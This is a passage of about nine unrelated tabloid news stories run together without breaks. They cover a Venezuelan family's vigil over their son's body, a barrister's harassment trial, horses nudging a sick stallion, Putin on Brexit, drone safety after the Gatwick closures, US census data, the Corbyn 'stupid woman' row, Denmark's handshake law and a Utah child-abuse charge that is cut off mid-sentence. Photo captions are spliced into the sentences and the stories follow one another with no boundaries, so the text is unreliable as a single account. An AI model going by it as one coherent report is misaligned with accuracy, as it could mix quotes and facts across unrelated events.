a beverage with a friend at a local business when an unidentified man fired at him at point-blank range. Instead of burying his body days after his death, that family has held daily vigils against the wishes of their neighbors. Blanco's parents told Univision and other local Colombian media outlets that God told them that Blanco will come back to life. 'God will wake him up. He is going to give him life once again, and that's what we want,' Julio Blanco said. 'We sing and we pray waiting for him to wake up and come back to life. His body does not smell weird because we have prepared it very well,' the Evangelical pastor told RCN Radio. 'So I don't understand how we are causing harm to anybody, why is the neighborhood complaining.' Friends of the parents a murdered Venezuelan man gather at the family home and have spent over a week singing and praying with the hope that Cesar Alexis Blanco resucitates The Venezuelan young man was enjoying a beverage with a friend when an unidentified man approached him and shot him three times in the chest, leaving him dead Neighbors near the residence the family now calls home have repeatedly complained to local leaders over the sanitary threats Cesar Alexis Blanco's body could present. Some residents have complained to the local health ministry office of smells and flies coming out of the Blanco's residence. A resident called the family 'crazy' for believing their son will rise from the dead after his vital organs were removed and donated. 'I think that is crazy stuff. In my life I have never seen such a thing,' the woman told Univision. 'The only one who revived is Jesus Christ, and a person who has nothing inside, how will they there?' A London barrister who waged a hate campaign against her ex partner and his new girlfriend is in court again accused of sending abusive emails to a colleague. Dr Aisha Bijlani, 51, has now been accused of sending solicitor Richard Howlett 53 emails in a week last July. She failed to overturn her conviction in 2007 when she was found guilty of harrassing her former partner Atul Sehgal and his new girlfriend Nicola Koenig. In the barrage of abusive messages, she called Sehgal's dead mother a whore and branded his new partner 'a German prostitute'. Dr Aisha Bijlani, 51, is facing trial next year accused of harrassing a fellow London lawyer with 53 abusive emails in the space of a week last July After a lengthy appeal against the conviction, Bijlani lost the case and was ordered to pay the 10,000 bill in 2010. She also took her former chambers 4 New Square to an employment tribunal claiming her career prospects were held back by racist attitudes, but lost that case too. She is facing trial after allegedly sending Mr Howlett 53 abusive emails between July 18 and July 25, 2017. But when a single charge of harassment was but to the barrister at Westminster Magistrates' Court, she replied: 'Not guilty, and I'd like to add that Richard Howlett has harassed me on those dates.' Mr Howlett is the founder and managing director of Selachii, a firm that specialises in Bitcoin, financial technology and commercial litigation. Prosecutor Carley Loftus told the court: 'In a statement from the complainant in this case, he exhibits 53 emails.' District judge Vanessa Baraitser asked her barrister Stuart Harris: 'Are you willing to agree they were sent?' Mr Harris replied: 'Part of the defence was that there was a client-lawyer relationship between the two. She failed to overturn her conviction in 2007 when she was found guilty of waging a hate campaign against her ex and his new German model girlfriend 'We have accepted in this form that a large number of emails have been sent but we would point to the context.' The judge asked whether Bijlani accepted that she had been served with a harassment notice, adding: 'Does she accept sending some 53 emails?' Mr Harris replied: 'Certainly the issue of service of a harassment notice can be accepted, however the issue of the number of emails is slightly more complicated.' Ms Loftus said a number of fellow solicitors would be giving evidence at the trial including Simon Taylor, a partner at Mr Howlett's law firm, and litigation lawyer Tom Orange. 'The first is the business partner of the complainant who has featured in the case, he has been the receiver of a number of emails. 'The other witness is Mathew Frankland, he works for the complainant's firm..' Bijlani originally qualified as a doctor and had a short career at Guy's Hospital before switching to law. Judge Baraitser added: 'You pleaded not guilty to this allegation and a trial will take place in relation to it.' Bijlani, of Ponsonby Terrace, Pimlico, southwest London denies one count of harassment without violence. She now faces a summary trial at Hendon Magistrates' Court on 13 February 2019. This is the heartwarming moment wild horses bite a poorly young stallion in a seemingly desperate attempt to revive him after he collapsed on the ground. The rare spectacle was witnessed in the Westerwald mountain range in the German state of Rhineland-Palatinate. Ingo Gerlach, 65, was photographing the herd of 18 Icelandic stallions when he noticed one of the horses had become isolated from the rest. The two-year-old dun - so called because of its tan-coloured coat - seemed to be unwell, wobbling on its legs. The young horse had fallen to the ground before its herd came to the rescue, urging it to get up Ingo, from Betzdorf, Germany said: 'The stallion went to his knees with his front legs and sank to the ground. 'Finally, he lay down on his side and didn't move anymore.' At first, the wildlife photographer thought the animal was just tired, or was rolling on its back to remove flees. But when the creature remained motionless, one of his companions began to approach him. 'The dark stallion quickly came to the horse lying on the ground to motivate him to stand up,' said Ingo, who began to film the encounter. The photographer who captured the spectacle initially thought the horse was just resting Ingo Gerlach, 65, realised something was wrong when the herd began to bite the horse Touching footage shows the dark-coloured horse approach his apparently sick friend, and nuzzle up to it with its head. When the dun does not respond, the darker animal then begins to bite it on the legs, which causes it to sit up. But soon after getting to its feet, the dun's leg begin to shake, and it falls to the floor again. Two others - a piebald and another dark horse with a cream-coloured mane - join the effort, biting their friend's ears. The two-year-old dun had fallen to its knees, then completely to the ground, seemingly unwell The rescue attempt is repeated several times, with the three horses nipping various parts of the dun's body every time it keels over. Finally, the wobbly creature seems to find its feet, and the others gather around, rubbing up against it in a seeming show of support and affection. Ingo braved the -2C temperatures on the mountain range to record the inspiring display of comradeship - which lasted around an hour and a half - on December 13. He said: 'The cold had become unimportant. The scenery was simply too rare and too dramatic.' 'It seemed as if the stallions were trying to save their herd member from certain death,' said Ingo The nature-lover - who has observed the herd for about three years - later tried to research the behaviour, but could not find any reference to it. Only on the next day did he learn from the herd's owner that the dun had probably suffered from colic, abdominal pain caused by the digestive system. However, he had never seen behaviour of that kind before. Ingo said: 'Why the other stallions motivated their comrades to get up is just as unclear. 'It seemed as if the stallions were trying to save their herd member from certain death.' Vladimir Putin today backed Theresa May on Brexit - saying that another referendum would be undemocratic. The Russian strongman waded into the bitter Brexit row to say the PM must 'fulfill the will of the people' and carry out the withdrawal from the EU. Giving his annual televised press conference, the Russian president said he 'understood' Mrs May's position in 'fighting for this Brexit'. He said: 'The referendum was held. What can she do? She has to fulfill the will of the people expressed in the referendum.' He added: 'Was it not a referendum? Someone disliked the result, so repeat it over and over? Is this democracy? What then would be the point of the referendum in the first place?' But the PM will not welcome the support from Mr Putin - who she says is to blame for the Salisbury nerve agent attack. Vladimir Putin (pictured today in Moscow) backed Theresa May on Brexit - saying that another referendum would be undemocratic And Remainers gleefully seized on his comments to launch a fresh broadside against the PM's deal. David Miliband, ex Foreign Secretary and leading supporter of the People's Vote campaign, said: 'Vladimir Putin's contempt for, or fear of, a People's Vote will not shock anybody. 'The overwhelming evidence of malign and multiple Russian interventions in western democratic processes, including the Brexit referendum, have been designed to destabilise democratic rule. It is an insult to the United Kingdom that he should be lecturing us on our democratic process. 'The idea that democratic consent for Brexit policy should end on 23 June 2016 is dangerous.' He added: 'It must be for the UK to decide the way forward for our country. And as much as Vladimir Putin loathes the European project, it should be the right of each and every one of us to compare the Government's Brexit deal with the benefits of the deal we currently have, which is not just good for Britain at home, but is a bulwark against adventurism and autocracy abroad.' Labour MP Ian Murray, a campaigner with the anti-Brexit group Best for Britain, said: 'Finally, Theresa May has found a backer for her deal. 'But when Vladimir Putin is trying to give her lessons on democracy, you know that the Prime Minister has made a catastrophic error of judgement. 'Rather than agree with Putin's propaganda, the true democratic option is to give the people a final say on whether they still want to leave the EU.' Russia was accused of trying to meddle in the Brexit referendum to encourage voters to back Leave in order to sow discord and division within the EU. And Mrs May - who is desperately trying to get her warring MPs and minsters to back a deal - will not welcome Russia's support. Theresa May (pictured in Downing Street today) warned her warring ministers that her deal was the only Brexit plan available today Amber Rudd (pictured left last night on Peston) has triggered a new split in the Cabinet by hinting at support for a second referendum on Brexit - while Andrea Leadsom (right today in Westminster) said that would be 'unacceptable' and endorsed a 'managed no deal' Britain-Russia relations have plunged to their worst ebb since the Cold War in the wake of the Salisbury nerve agent attack. Russian former double agent Sergei Skripal and his daughter Yulia were both left fighting the lives in hospital after being poisoned with Novichok by Russian secret agents. While British mother Dawn Sturgess, 44, died in hospital after spraying herself with a perfume bottle understood to have contained the deadly poison. As Mr Putin waded into the bitter row, the PM was trying to get her bitterly divided ministers back in line over Brexit. Work and Pensions Secretary Amber Rudd sparked fury among some of her colleagues after she said last night that she could 'see the argument' for a new referendum if Parliament votes down the PM's Brexit deal. Commons Leader Andrea Leadsom hit back to say a new vote was 'unacceptable' - but then backed another alternative to the PM's deal, a so-called 'managed no deal'. Mrs May's official spokesman also slapped her down - saying she had backed the PM's deal and there is no alternative. Pilots and air traffic controllers blasted ministers last night for failing to do enough to protect passengers from a catastrophic collision with drones. The British Airline Pilots Association (Balpa) described legislation introduced in July as grossly inadequate warning it did little to prevent drones being flown into aircraft. Air traffic controllers also claimed their concerns had been repeatedly dismissed and accused officials of prioritising commercial interests in the multi-billion-pound drone industry over safety. It is now illegal to fly drones above 400ft and within 1km of airport boundaries (file image) According to the Civil Aviation Authority (CAA) there have been 117 near-misses between drones and aircraft in the year to November four times as many as 2015. Only last week accident investigators reported how a drone came within 50ft of a Ryanair flight carrying 200 passengers as it came in to land at Stansted in August. The new legislation made it a criminal offence, carrying a maximum jail sentence of five years, to fly a drone less than 1km (0.6m) from an airport and above 400ft. But Balpa described the Gatwick chaos as a wake-up call and demanded the exclusion zone be urgently extended to 5km, putting the UK in line with Australia and the Netherlands. There are also barely any current restrictions on buying or operating a drone. Rules requiring people to take an online safety test and to register their drone with the CAA will not come in until November next year. Balpa has repeatedly warned it is only a matter of time before a near-miss becomes a catastrophic collision. The unions head of flight safety Dr Rob Hunter said even if a drone is used legally, it could be flown very close to a plane. Police are pictured at Gatwick's police station roof on Thursday as they use equipment in the ongoing task to stop the drone unleashing chaos in Sussex Passengers wait at the North Terminal at London Gatwick Airport for information yesterday He told BBC Radio 4s Today programme that aircraft coming in to land could even find themselves flying underneath a drone. As a pilots escape option is to climb, there is a danger they could fly into a drone by mistake. In a strongly worded statement the Guild of Air Traffic Control Officers (GATCO) also said its calls for stricter regulations and enforcement have been repeatedly dismissed by regulatory bodies. Pilots and air traffic controllers have urged the Government to look at making it mandatory for manufacturers to install geo-fencing technology in drones that disable them if they fly too close to an airport. They have also called for stronger counter-drone equipment to detect and bring down devices to be installed at airport. British Airways planes sit on the Tarmac at London Gatwick as the airport remains shut GATCO accused officials of putting commercial interests ahead of tougher laws, with a recent report by accountants PwC predicting drones could be worth 42billion to the UK economy by 2030. The Government also came under fire in the House of Lords, where an emergency question was raised on the issue. Labour peer Lord Harris said he had been raising concerns about drones for more than two years but said the Government had repeatedly dragged its feet. Aviation minister Baroness Sugg denied being complacent and insisted the Government would look at new laws to combat the problem. In the new year, ministers will consider giving police new powers to stop and search drone owners, and force them to land devices. Caught up in the nightmare? Here's what you need to know Are passengers caught up in the chaos entitled to compensation? Should they contact their airline, or their insurer? The Mails Transport Editor JAMES SALMON answers the key questions: My flight has been cancelled what are my rights? Your airline is obliged to give you a full refund or put you on an alternative flight, including with a rival, free of charge at the earliest opportunity or at a later date if you choose. Passengers should avoid cancelling and booking an alternative themselves because airlines are not obliged to refund them. They may, however, be able to claim on travel insurance. Keep all tickets and receipts. What if my flight is delayed? After more than two hours you should be offered two free phone calls, free meals and refreshments and free hotel accommodation and hotel transfers if an overnight stay is required. Free food and drink or vouchers should be offered after delays of more than two hours on a short-haul flight, three hours on medium haul and four hours for long-haul. If your flight is delayed for more than five hours you are entitled to choose between being rerouted or getting a refund, just as if your flight had been cancelled. What if my flight is diverted? Your airline has a duty to transport you back to the original airport for free. The same applies if passengers who were due to fly from Gatwick are offered a flight from another airport. Yesterday train operators stepped in to help. Govia Thameslink Railway said passengers with a rail ticket to or from Gatwick would be able to travel to or from Luton airport at no extra cost. Rail operator LNER also put on free train travel between London and Edinburgh for all affected passengers. Am I entitled to compensation? Unfortunately not. Under EU261 rules the chaos at Gatwick caused by drones at the airport would be categorised as extraordinary circumstances, beyond airlines control. This means you will not be covered for consequential losses such as if you have booked non-refundable hotels or car hire. So check if you can cancel these bookings and get a refund. Passengers may also be able to recover some of their losses, including hotel bookings, from their credit card provider under Section 75 of the Consumer Credit Act. Check with your credit card provider. Am I covered by my travel insurance? It depends what policy you have. The Association of British Insurers has stressed that anyone affected should speak to their airline or travel company first. But for additional costs incurred such as missed hotel bookings it said passengers should speak to their travel insurer. Insurance giant Axa said yesterday it would provide cover for reasonable additional accommodation and travel expenses that are needed to get them to their final destination, connecting flights or home. Advertisement Americans are having less babies, resulting in the slowest population growth in more than 80 years, according to newly released U.S. Census data. Nationwide, the population grew 0.6 percent to 372.2 million people the least growth since 1937, demographer William Frey, of the Brookings Institution, told the Wall Street Journal. The fastest growing states were concentrated in the South and the West, outpacing the Northeast and Midwest, according to numbers through July 1. Nevada and Idaho led the way, with a 2.1 percent bump in population in the last year alone, followed by Utah (1.9 percent), Arizona (1.7 percent) and Florida and Washington (1.5 percent each). This map illustrates the population growth - and decline - in every U.S. state during the period of July 1, 2017 - July 1, 2018 This chart illustrates the cumulative population growth for each major region in the U.S. While the South and Western parts of the country saw compounding growth in their population since 2011, the Midwest and Northeast experienced a much slower level of growth Nine states saw their population decline, with the sharpest drop-off in New York (down 48,510), followed by Illinois (45,116), West Virginia (11,216), Louisiana (10,840) and Hawaii (3,712). The other states seeing a decline in population include Mississippi (3,133), Alaska (2,348), Connecticut (1,215) and Wyoming (1,197). 'Many states have seen fewer births and more deaths in recent years,' said Sandra Johnson, a demographer/statistician in the Population Division of the Census Bureau. 'If those states are not gaining from either domestic or international migration they will experience either low population growth or outright decline.' For the year ending July 1, the national birthrate declined to 59.8 births per 1,000 women age 15-44 14 percent lower than the most recent peak in 2007, according to preliminary numbers from the National Center for Health Statistics. Overall, the numbers signal a shift away from the Northeast and Midwest as more people move to the Southern and Western regions of the country. The result could have ramifications for the House of Representatives and which states may gain or lose seats based on the 2020 census. If this year's data was applied, Texas would gain two congressional seats, while Arizona, Colorado, Florida, North Carolina and Oregon would each gain one. This chart illustrates the top five states that saw the greatest population growth over the past year - and the five states that saw the largest reductions in population This map illustrates the population growth - and decline - in every U.S. state during the period of April 1, 2010 - July 1, 2018 Seven states would lose a seat: Illinois, Michigan, Minnesota, New York, Pennsylvania, Rhode Island and West Virginia. 'The future is in the West, and to some degree in the South, and that's where the political winds will blow,' Brandon Rottinghaus, a professor of political science at the University of Houston, told the Wall Street Journal. 'On balance it probably favors the Democrats, given the kind of demographic change that is occurring in many of these Western states,' he said. The new seats are on track to emerge in fast-growing urban areas that tend lean Democratic, he added. However, if the current Census numbers hold steady in 2020, states that Trump won in 2016 would gain a net two votes in the Electoral College which are allocated to each state based on the number of its representatives plus their two senators. Jeremy Corbyn lashed out at journalists asking him whether he branded the PM a 'stupid woman' today. A clearly furious Labour leader accused the media of being 'utterly obsessed', before posting a Twitter video with his face just inches from the camera in which he insists he called the Tory government 'stupid people'. Asked on Thursday morning by a BBC reporter whether the language he used was 'respectful', he replied: 'I muttered it to myself, actually, in Parliament and you and your colleagues in the media seem utterly obsessed with this. 'The fact that a homeless man died outside Parliament has got no coverage whatsoever, and it should.' Jeremy Corbyn lashed out this morning at journalists asking him whether he branded the PM a 'stupid woman' today MailOnline has extensively covered the death of Gyula Remes yesterday, alongside all other national media. And Mr Corbyn himself returned to Parliament to state he did not say 'stupid woman'. Mr Corbyn added this morning: 'The respectful nature of Parliament is important and a whole load of Tory MPs turning the issue of a no-deal Brexit into a pantomime, that is serious.' Then this afternoon on his personal Twitter account the Labour leader posted a reply to his critics, seemingly filmed on a smartphone in his home with his face just inches from the lens. The Tweet read: Yesterday the Tories and much of the media created a phoney row about something I didnt say. Heres why Shortly after 6pm Mr Corbyn posted a Twitter video in response to his critics in Parliament and the press The Labour leader avoided using the phrase 'stupid woman' but repeated his claim he said 'stupid people' - and accused Conservatives of turning Parliament into a pantomime In a soft voice Mr Corbyn pivots to the issue of rough sleeper, Gyula Remes, whose death on the steps of Parliament he called a 'shame to our whole country'. Mr Corbyn claimed 'you wouldn't know' Mr Remes had died, but the news was covered - before the Corbyn video was uploaded - by MailOnline, the BBC, Sky News, the Mirror and the Guardian amongst others Then in a video his voiceover goes on: 'Yesterday the Tories tried to turn Parliament into a pantomime. Tried to turn it into a pantomime when there are very serious issues. I was accused of saying something I didnt say. Did I say stupid people? Yeah, I did. 'Because I think they are. Because I think Parliament into a pantomime is an act of unbelievable stupidity. 'They should be facing up to the real issues that people in our country face about the danger of a no deal Brexit with all the chaos that will bring and serious issues about poverty, universal credit and homelessness within our society. MailOnline has extensively covered the death of Gyula Remes yesterday, alongside all other national media. He goes on to repeat his claim that you wouldnt know a homeless man had died on the steps of Parliament the day before saying it is a shame to our whole country and that it wasnt reported in most of our media. The death of Gyula Remes was covered by almost all major print and broadcast news outlets including MailOnline. He says his anger will only subside when Labour wins and election to bring in a government that will transform our society. Meanwhile, a senior No 10 source said Theresa May backs Andrea Leadsom's decision to drag Commons Speaker John Bercow into the toxic sexism row. The bitter spat erupted yesterday as Mrs May and Mr Corbyn traded blows over Brexit in the Commons. The premier accused Mr Corbyn of descending into 'pantomime' with threats of a no-confidence vote, saying even his own party was not behind him. But as the PM sat down to cheers, Mr Corbyn seemed to mutter: 'Stupid woman.' Amid a furious storm in the Commons and across Westminster, Mr Corbyn denied the remark - insisting he actually said 'stupid people' in frustration at the panto jokes. The bitter spat erupted yesterday as Theresa May and Jeremy Corbyn (left) traded blows over Brexit in the Commons The PMQs spat that pushed Corbyn over the edge Corbyn: 'There is no majority in this House for no-deal. 'Isn't this just a deeply cynical maneuver from a failing and utterly reckless prime minister?' May: 'I know it's the Christmas season and the pantomime season but what do we see from the Labour frontbench and him. 'He's going to put a confidence vote - 'oh yes he is. Oh no he isn't'. 'I've got some news for him, I've got some advice for him. 'Look behind you. They're not impressed and neither is the country.' Corbyn: (Shakes his head and appears to mutter 'stupid woman'. Advertisement Mr Leadsom effectively accused Mr Corbyn of lying today by insisting he did brand the PM a 'stupid woman'. The Commons leader made clear she did not believe the Labour leader's denial of muttering the sexist jibe under his breath at PMQs. Mrs Leadsom has also dragged the Speaker into the row, seizing on the fury over Mr Corbyn to remind Mr Bercow her had made the same 'stupid woman' jibe about her. A senior No 10 source told MailOnline Mrs May understands 'Andrea feels very strongly about this - and rightly so'. The Tories have feuded with Mr Bercow for years and Mrs Leadsom has had a series of personal clashes in recent months. Despite the conflict, Downing Street and Mrs May have so far refused to intervene directly on Mr Bercow's handling of bullying and sexism allegations in Parliament. The Tory intervention came as Diane Abbott tried to shrug off mounting fury by arguing 'nobody knows' what he really said, and accusing MPs of 'confected' rage. Mr Corbyn's remark was not picked up on microphones, but politicians from both sides of the House were in little doubt what he said - as were multiple lipreaders. Bizarrely, Hollywood actor Rob Lowe also waded in to the row, saying he had seen the insult on TV 'with my own eyes'. However, hauled back to the House to explain himself, Mr Corbyn flatly denied uttering the words. 'I did not use the words 'stupid woman' about the Prime Minister or anyone else,' he said. Speaker John Bercow said he had consulted 'lip speakers' - people who can hear but interpret for deaf people - and they believed Mr Corbyn probably did deliver the slur, but no-one could be '100 per cent' certain. Mr Bercow said he had to take the Labour leader's word about what he said. As the Speaker is the final arbiter of behaviour in the Commons chamber, the ruling effectively shuts down and route for disciplining Mr Corbyn over the row. Interviewed on BBC Radio 4's Today programme this morning, Mrs Leadsom said standards of behaviour in the chamber had to improve. Asked if she believed Mr Corbyn's denial, she said: 'I think he said stupid woman. That is how it looks to me.' Ms Abbott said Tory MPs had 'put on a display yesterday which Hackney primary school children would have been ashamed of'. She told Today that Mr Corbyn was an honest man and 'if he has something to say sorry for he will always say sorry'. She added: 'Nobody really knows what he said, certainly they (MPs) did not know what he said at the time. 'To me it was contrived, staged behaviour and the British people might wonder why the Tories will stage a mini-riot in Parliament over that but are not staging a mini-riot over the tens of thousands of people who are newly on Universal Credit and are facing Christmas with no money.' Commons Leader Andrea Leadsom (pictured left today) made clear she does not believe Mr Corbyn (pictured right at his London home this morning) As the row erupted last night, Mr Bercow told MPs: 'I have looked at the television footage of the leader of the opposition reacting to the Prime Minister, allegedly saying 'stupid woman' to those seated next to him. 'Having heard the allegation against the leader of the opposition and having watched the footage it is easy to see why the leader of the opposition's words might be construed as 'stupid woman'. 'That was also the opinion of lip speakers - and I emphasis lip speakers rather than lip readers - whose advice was sought and obtained at short notice.' 'Nobody can be 100 per cent certain, that includes professional lipreaders. But I will naturally take and would be expected to take, the word of any right honourable or honourable member. 'It's reasonable to expect the House to do the same.' But in an extraordinary intervention in the Commons, Tory MP Rachel Maclean responded: 'Read my lips... I don't believe him.' Labour MPs were among those to criticise Mr Corbyn. Backbencher Stella Creasy said: 'This is not ok. PMQs is a hotbed of emotions but I hope that Jeremy will accept this kind of behaviour isn't his normal good nature or what we expect of progressive men.' Even shadow trade secretary Barry Gardiner suggested Mr Corbyn might have said the words. 'I am not a lipreader, but it certainly seemed that might have been it,' he told BBC Politics Live. Diane Abbott tried to shrug off mounting fury by arguing 'nobody knows' what he really said, and accusing MPs of 'confected' rage An array of lipreaders publicly gave their verdict on what Mr Cobyn said last night. But only one expert quoted agreed with the Labour leader's version that he said 'stupid people' to the Tory benches in general rather than 'stupid woman' to Mrs May. But that opinion was outvoted by the lipreaders who said judging by the shape of his mouth they thought Mr Corbyn said 'woman'. Lip reading experts consulted by the Daily Mail reviewed the footage frame by frame to conclude Mr Corbyn's mouth movements clearly spelled out W-O-M-A-N, not 'people' His denial has sparked further outrage, including from Piers Morgan, who has asked why anyone should trust a further word out of the Labour leader's mouth if he is happy to deny something 'we can all see he did'. Among the lipreaders consulted about Corbyn's comments, their verdict broke down as follows : For the prosecution: Famous deaf percussionist Dame Evelyn Glennie, who can read lips, is quoted by BBC Radio, The Sun, the Mirror, the Express, the Guardian, the Times, and in our own report for MailOnline she was 'very certain' he had said woman. Her comments came via Tim Johns, who produces the Jeremy Vine show on BBC radio, and who tweeted: 'I just showed Evelyn Glennie, the famous percussionist, the footage of Jeremy Corbyn in the Commons. She's deaf and can lip read. She wasn't aware of the story and her interpretation of what he said was 'stupid woman'. She says she's very certain.' Sky News reports the consensus of a 'team' of lip readers contradicted Labour's denials, and that Mr Corbyn did indeed call the PM a 'stupid woman'. Sky says its experts, including former expert witness forensic lip reader Tina Lannin, have concluded the mouth shape for 'wo' for woman is unmistakeable. Speaker John Bercow said he had consulted 'lip speakers' who believed the word was 'woman', but he added he himself accepted the Labour leader's denial. said he had consulted 'lip speakers' who believed the word was 'woman', but he added he himself accepted the Labour leader's denial. West Wing actor Rob Lowe , who is deaf in one ear, also waded into the row, tweeting he had seen Mr Cobryn 'say it with his own eyes'. For the defence: Forensic lip-reader Jessica Rees told the Mirror: 'It's very clear if you lipread him he's saying 'stupid people'.' Tory assault on John Bercow escalates as Theresa May BACKS Andrea Leadsom's furious attack on the Speaker over 'stupid woman' jibes at MPs Theresa May backs Andrea Leadsom's furious attack on John Bercow, it emerged today in a new escalation of the Tory war on the Commons Speaker. Mrs May sat in silence yesterday as Mrs Leadsom seized on a sexism row over Jeremy Corbyn branding her a 'stupid women' to drag Mr Bercow into the storm. The Commons Leader demanded Mr Bercow account for his own use of the jibe in a sensational escalation of the Tory war with the Speaker. A second Tory MP then emerged claiming Mr Bercow had also called her a 'stupid woman'. A senior No 10 source told MailOnline Mrs May understands 'Andrea feels very strongly about this - and rightly so'. The Tories have feuded with Mr Bercow for years and Mrs Leadsom has had a series of personal clashes in recent months. Despite the conflict, Downing Street and Mrs May have so far refused to intervene directly on Mr Bercow's handling of bullying and sexism allegations in Parliament. Theresa May (pictured at PMQs yesterday) backs Andrea Leadsom's furious attack on the Commons Speaker John Bercow, it emerged today Mr Bercow issued a furious response to Mrs Leadsom when she revived their row in chaotic scenes in the aftermath of PMQs yesterday. Anna Soubry then piled on the pressure to accuse Mr Bercow of treating Tory MPs more harshly than he was handling Mr Corbyn's jibe. During a second row later yesterday afternoon, another Tory MP Vicky Ford levelled a new accusation Mr Bercow had also branded her a 'stupid woman' - producing another angry, finger pointing response from the Speaker. The row broke out in the aftermath of PMQs as Mr Corbyn was accused of muttering 'stupid woman' at the Prime Minister. Which other MPs have been accused of sexist remarks in the Commons? David Cameron telling Angela Eagle to 'calm down dear': In April 2011 the former PM was slammed for jeering at Ms Eagle as she heckled him alongside Ed Miliband. Jeremy Corbyn 'mansplaining' International Women's Day to Theresa May: The last time Mr Corbyn got into trouble at PMQs, he told Mrs May it was IWD when she had not mentioned it herself - prompting her to snap back that he did not need to remind her. Boris Johnson calls Emily Thornberry by her husband's name: During a furious clash, the ex-Foreign Secretary was told off John Bercow for mocking his Labour shadow as 'Lady Nugee' - her formal title but one which she does not use professionally. William Hague brands a Labour MP a 'stupid woman': The jibe has been used before when the ex-Tory leader attacked Labour's Cathy Jamieson in 2013. He later apologised. John Bercow compared Esther McVey to a washing machine: The Speaker has been repeatedly accused of sexist remarks. In 2015 he cut off the then Employment Minister to quip 'I'm reminded of the feeling when one think the washing machine will stop but it doesn't'. He apologised. John Bercow brands Andrea Leadsom a 'stupid woman': Bercow was in trouble again in May this year when he was overheard criticising Mrs Leadsom to Labour's chief whip Nick Brown. The Commons Leader hurled it back at him during today's furious exchanges. Advertisement Amid rowdy and chaotic scenes, Mrs Leadsom said to the Speaker: 'If individuals who are found to have made unwelcome remarks should apologise, why it is that when an opposition member found that you had called me a 'stupid woman', you did not apologise in this chamber?' After repeated jeers and banging from Tory MPs, Mr Bercow said: 'No no I'll deal with the point. 'I dealt with that point months ago in remarks that I made to the House of Commons to which Ms Leadsom in our various meetings since has made no reference and which requires from the chair today no elaboration whatsoever.' The Speaker added that 'the matter has been treated of and I am leaving it there'. She said when evidence was presented that 'you had called me a stupid woman you did not apologise in this chamber'. But former minister Anna Soubry then rose to claim that if the Tory MP had said the same thing to a Labour MP 'you sir would take action immediately'. 'With great respect to the chair I have to say this, if it was one of my male colleagues on this side of the House that had used that expression against a woman on the frontbench on the Opposition you sir would take action immediately. 'Please would you deal with it as you often do, Mr Speaker, in a fair way, but also from the point of view of women in this House who are fed up over decades of being abused by men.' Mr Bercow, who was being shouted at and heckled by Tory MPs, responded saying: 'I cannot be expected to deprecate the behaviour of an individual which I did not witness.' Mr Bercow returned the Commons three hours later to give his ruling on what Mr Corbyn had done. In response, Ms Ford said she 'did not believe' Mr Corbyn before turning her fire on the Speaker to blast: 'I have heard the words ''stupid woman'' being used in this chamber about myself and I am afraid to say I have heard it from yourself in the Speaker's chair.' Mr Bercow pointed at the MP and said: 'You have at no time previously... made that allegation against me. You have not come to me and said that. 'To my knowledge I am not in receipt of a letter alleging that. If there is such an allegation I refute it 100 per cent.' The incendiary row was triggered when Mr Corbyn was engulfed in a sexism row today over calling Mrs May a 'stupid woman' during bitter clashes at PMQs today. The Labour leader faced a furious backlash from Tories and his own MPs after appearing to mouth the jibe during a stormy Commons session. In a brutal pre-Christmas exchanges, Mrs May had accused Mr Corbyn of descending into 'pantomine' over Brexit, saying his own party was not behind him. A furious Mr Bercow wagged his finger (pictured) and insisted Ms Ford had never made the allegation before and that he 'refutes it 100 per cent' But as the PM said down to cheers, Mr Corbyn seemed to mutter: 'Stupid woman.' The remark was not picked up on microphones, but politicians from both sides of the House were in little doubt what he said - as were lipreaders. However, hauled back to the House hours later, Mr Corbyn flatly denied saying the words. 'I did not use the words 'stupid woman' about the Prime Minister or anyone else,' he said. Despite the rebuttal, virtuoso percussionist Dame Evelyn Glennie, who is deaf and can lipread, agreed with the interpretation. Bizarrely, Hollywood actor Rob Lowe also waded in, saying he had seen the insult 'with my own eyes'. When the slur was raised with her in the chamber, Mrs May retorted that all MPs must refer to women in an 'appropriate' way. And after PMQs ended the House descended into chaos as Tories demanded Speaker John Bercow haul Mr Corbyn back to apologise. Denmark has passed a law requiring any new citizens to shake hands at their naturalization ceremony. Critics say the new legislation targets Muslims, who may be reluctant to touch members of the opposite sex for religious reasons. Some of the mayors who are expected to take part in the ceremonies have complained that the new law signed on Thursday uses them against the populace. Denmark brought in a face veil ban on August 1 which drew massive protests from Muslim women and human rights groups. Thousands of people protested in Aarhus, Denmark over the summer in defiance of the Danish Government's face veil ban brought in on August 1 A wearer of the niqab weeps as she is embraced by a police officer during a demonstration against the Danish face veil ban in Copenhagen, Denmark on August 1 It was decided over the summer that new citizens should take part in a ceremony where they sign a declaration pledging their belief in Danish values. The new law means that as part of the ceremony a new citizen will have to shake hands with an official. A right-wing Danish lawmaker, Martin Henriksen told the New York Times: 'If you arrive in Denmark, where its custom to shake hands when you greet, if you dont do it its disrespectful.' The People's Party spokesman on immigration continued: 'If one cant do something that simple and straightforward, theres no reason to become a Danish citizen.' He previously told the Eskra Bladet tabloid that shaking hands 'must simply be a demand.' As well as Muslims the law could also impact other religious groups who abstain from or for whom it is forbidden to touch members of the opposite sex. Women wearing niqab demonstrate on the first day of the implementation of the Danish face veil ban, in Copenhagen on August 1 Thousands of people protested in Aarhus, Denmark this summer after the government imposed their face veil ban Mayor of Aabenraa, Thomas Andresen, told the Times: 'Its against my ideology and conviction to have to force other people to have body contact.' He said he would look to have members of both sexes present at ceremonies to avoid any of the naturalization ceremonies being interfered with by the legislation. The legislation would not be unique in Europe. In Switzerland this summer the Guardian reported a couple were refused citizenship by officials in Lausanne after they refused to shake hands with members of the opposite sex. Lausanne mayor Gregoire Junod cited their lack of respect for gender equality when they were denied citizenship. Denmark's cabinet is made up of a minority coalition of center-right parties and they rely on support from the Danish People's Party, widely viewed as right-wing and populist. A suspect has been charged with sexually abusing children while they were being looked after by his mother in her Utah home after comparing himself to notorious killer Ted Bundy. Theodore Joseph Heaps allegedly attacked two children while they were at his home where his mother ran a day care business. The 35-year-old has been charged with two counts of child rape and three counts of sodomy on a child after police interviewed three witnesses who said they were sexually assaulted as children. According to court documents, Heaps would even reenact the abuse of his victims with his girlfriend. A female victim told police she was repeatedly raped at the age of 12 between September 2000 and September 2001, according to court documents. Theodore Joseph Heaps allegedly attacked two children while they were at his home in Salt Lake County, Utah, where his mother ran a day care business The woman told officers she met the Heaps at his home in Salt Lake County where she was being looked after by his mother. A male victim alleged to police that Heaps assaulted him between September 1998 and September 2000 when the victim was six or seven years old and Heaps would have been 15, ABC reports. Adult Probation and Parole documents state that Heaps frequently compared himself to Ted Bundy and would reenact the sexual abuse of his victims with his girlfriend. The document states: 'His level of honesty was was appreciated by his therapist, but at times very disturbing. 'He admitted at one time he 